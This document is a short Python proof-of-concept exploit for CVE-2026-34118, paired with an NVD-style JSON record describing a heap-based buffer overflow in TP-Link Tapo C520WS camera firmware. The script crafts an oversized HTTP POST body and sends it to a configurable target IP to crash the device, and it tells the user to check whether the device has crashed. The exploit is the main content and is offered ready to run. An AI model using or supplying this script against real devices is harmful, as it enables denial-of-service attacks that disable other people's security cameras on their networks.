CVE-2026-34118

import socket # Target IP and Port (Adjust based on your environment) TARGET_IP = "192.168.1.100" TARGET_PORT = 80 # Craft a large payload to trigger the heap-based buffer overflow # The size depends on the specific buffer allocation logic (e.g., 4096 + overflow) payload = b"A" * 5000 # Construct malicious HTTP POST request request = ( b"POST / HTTP/1.1\r\n" b"Host: " + TARGET_IP.encode() + b"\r\n" b"Content-Type: application/x-www-form-urlencoded\r\n" b"Content-Length: " + str(len(payload)).encode() + b"\r\n" b"Connection: close\r\n" b"\r\n" + payload ) def send_exploit(): try: print(f"[*] Sending exploit payload to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(request) s.close() print("[+] Payload sent successfully. Check if the device has crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-34118", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-04-02T18:16:28.503", "lastModified": "2026-04-06T20:26:55.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability was identified in TP-Link Tapo C520WS v2.6 in the HTTP POST body parsing logic due to missing validation of remaining buffer capacity after dynamic allocation, due to insufficient boundary validation when handling externally supplied HTTP input.  An attacker\non the same network segment could trigger heap memory corruption conditions by\nsending crafted payloads that cause write operations beyond allocated buffer\nboundaries.  Successful exploitation\ncauses a Denial-of-Service (DoS) condition, causing the device’s process to\ncrash or become unresponsive."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c520ws_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.4", "matchCriteriaId": "710DD89A-E94F-4371-A03F-698C2F61D9C1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tapo_c520ws:2.6:*:*:*:*:*:*:*", "matchCriteriaId": "72666951-E72F-4494-9A90-1F0B22E2F3CD"}]}]}], "references": [{"url": "https://www.tp-link.com/en/support/download/tapo-c520ws/#Firmware-Release-Notes", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Release Notes"]}, {"url": "https://www.tp-link.com/us/support/download/tapo-c520ws/#Firmware-Release-Notes", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Release Notes"]}, {"url": "https://www.tp-link.com/us/support/faq/5047/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Vendor Advisory"]}]}}